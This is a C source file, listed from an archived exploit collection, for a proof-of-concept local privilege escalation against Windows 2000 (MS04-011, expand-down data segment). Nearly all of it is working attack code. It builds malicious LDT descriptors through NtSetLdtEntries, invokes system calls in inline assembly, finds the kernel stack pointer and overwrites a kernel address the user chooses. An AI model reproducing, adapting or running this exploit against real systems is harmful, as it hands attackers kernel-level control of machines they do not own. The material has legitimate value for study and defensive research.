home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / winldt.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  150 lines

  1. /******************************************************************
  2. * Windows Expand-Down Data Segment Local Privilege Escalation
  3. * [MS04-011]
  4. *
  5. * Bug found by: Derek Soeder
  6. * Author: mslug (a1476854@hotmail.com), All rights reserved.
  7. *
  8. * Version: PoC 0.1
  9. *
  10. * Tested: Win2k pro en sp4
  11. *
  12. * Thanks: z0mbie's article :)
  13. *
  14. * Compile: cl winldt.c
  15. *
  16. * Date: 18 Apr 2004
  17. *******************************************************************/
  18.  
  19.  
  20. #include <windows.h>
  21. #include <stdio.h>
  22. #include <string.h>
  23.  
  24. #if 1
  25.    #define KernelStackPtr 0xFD000000 // 
  26.    #define BedSize 0x01000000
  27. #else
  28.    #define KernelStackPtr 0xF0000000
  29.    #define BedSize 0x10000000
  30. #endif
  31.  
  32. unsigned char bed[BedSize];
  33. unsigned char pin[]="COOL";
  34.  
  35. int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);
  36.  
  37. WORD SetupLDT(WORD seg, DWORD ldtbase);
  38.  
  39. unsigned long patch_to;
  40.  
  41. int main(int argc, char *argv[])
  42. {
  43.    DWORD ldtbase, KSP;
  44.    int i;
  45.    HMODULE hNtdll;
  46.   
  47.    if(argc<2) {
  48.       printf("** coded by mslug@safechina.net **\n");
  49.       printf("winldt.exe <kernel address>\n");
  50.       return 0;
  51.    }
  52.  
  53.    patch_to = strtoul(argv[1], 0, 16);
  54.   
  55.    hNtdll = LoadLibrary("ntdll.dll");
  56.   
  57.    (DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll, 
  58. "NtSetLdtEntries");
  59.   
  60.    memset(bed, 'A', BedSize);
  61.    bed[BedSize-1]=0;
  62.   
  63.    ldtbase = (DWORD) &bed[0] - KernelStackPtr;
  64.   
  65.    printf("[+] User-land bed : 0x%08X\n", &bed[0]);
  66.    printf("[+] 1st LDT base : 0x%08X\n", ldtbase);
  67.  
  68.    SetupLDT(0x1f, ldtbase);
  69.    __asm {
  70.       push es
  71.       push 1fh
  72.       pop es
  73.       mov eax, 11h //1 param
  74.       lea edx, pin
  75.       int 2eh 
  76.       pop es
  77.    }
  78.  
  79.    for (KSP=0, i=0; i<BedSize-3; i++) {
  80.       if (bed[i] =='C' && bed[i+1]=='O' &&
  81.           bed[i+2]=='O' && bed[i+3]=='L' )
  82.       {
  83.          KSP = KernelStackPtr + i;
  84.          printf("[!] Knl stack ptr : 0x%08X\n", KSP);
  85.          //KSP = (DWORD)&bed[i]-ldtbase;
  86.          //printf("[!] Knl stack ptr : 0x%08X\n", KSP);
  87.          break;
  88.       }
  89.    }
  90.   
  91.    if(!KSP) {
  92.       printf("[-] Can't locate Kernel stack pointer, try again\n");
  93.       return 0;
  94.    } else if (patch_to < KSP) {
  95.       printf("[-] Can only patch kernel above KSP\n");
  96.       return 0;
  97.    }
  98.   
  99.    ldtbase = patch_to - KSP;
  100.  
  101.    printf("[+] Patch to : 0x%08X\n", patch_to);
  102.    printf("[+] 2nd LDT base : 0x%08X\n", ldtbase);
  103.  
  104.    SetupLDT(0x17, ldtbase);
  105.    __asm {
  106.       push es
  107.       push 17h
  108.       pop es
  109.       mov eax, 11h
  110.       lea edx, pin
  111.       int 2eh 
  112.       pop es
  113.    }
  114.   
  115.    return 0;
  116. }
  117.  
  118. WORD SetupLDT(WORD seg, DWORD ldtbase)
  119. {
  120.    LDT_ENTRY EvilLdt;
  121.    DWORD base = ldtbase;
  122.    DWORD limit = 0;
  123.    int ret;
  124.   
  125.    EvilLdt.BaseLow = base & 0xFFFF;
  126.    EvilLdt.HighWord.Bytes.BaseMid = base >> 16;
  127.    EvilLdt.HighWord.Bytes.BaseHi = base >> 24;
  128.    EvilLdt.LimitLow = (limit >> 12) & 0xFFFF;
  129.    EvilLdt.HighWord.Bits.LimitHi = limit >> 28;
  130.    EvilLdt.HighWord.Bits.Granularity = 1; // 0/1, if 1, 
  131. limit=(limit<<12)|FFF
  132.    EvilLdt.HighWord.Bits.Default_Big = 1; // 0=16bit 1=32bit
  133.    EvilLdt.HighWord.Bits.Reserved_0 = 0; // 0/1
  134.    EvilLdt.HighWord.Bits.Sys = 0; // 0/1
  135.    EvilLdt.HighWord.Bits.Pres = 1; // 0/1 (presence bit)
  136.    EvilLdt.HighWord.Bits.Dpl = 3; // only 3 allowed :-(
  137.    EvilLdt.HighWord.Bits.Type = 23; // [16..27]
  138.  
  139.    ret = NtSetLdtEntries( seg,
  140.                     *(DWORD*)&EvilLdt,
  141.                     *(((DWORD*)&EvilLdt)+1),
  142.                     0,0,0);
  143.    if (ret < 0) {
  144.       printf("[-] Set ldt error : %08X.\n", ret);
  145.       exit(0);
  146.    }
  147.  
  148.    return seg;
  149. }
  150.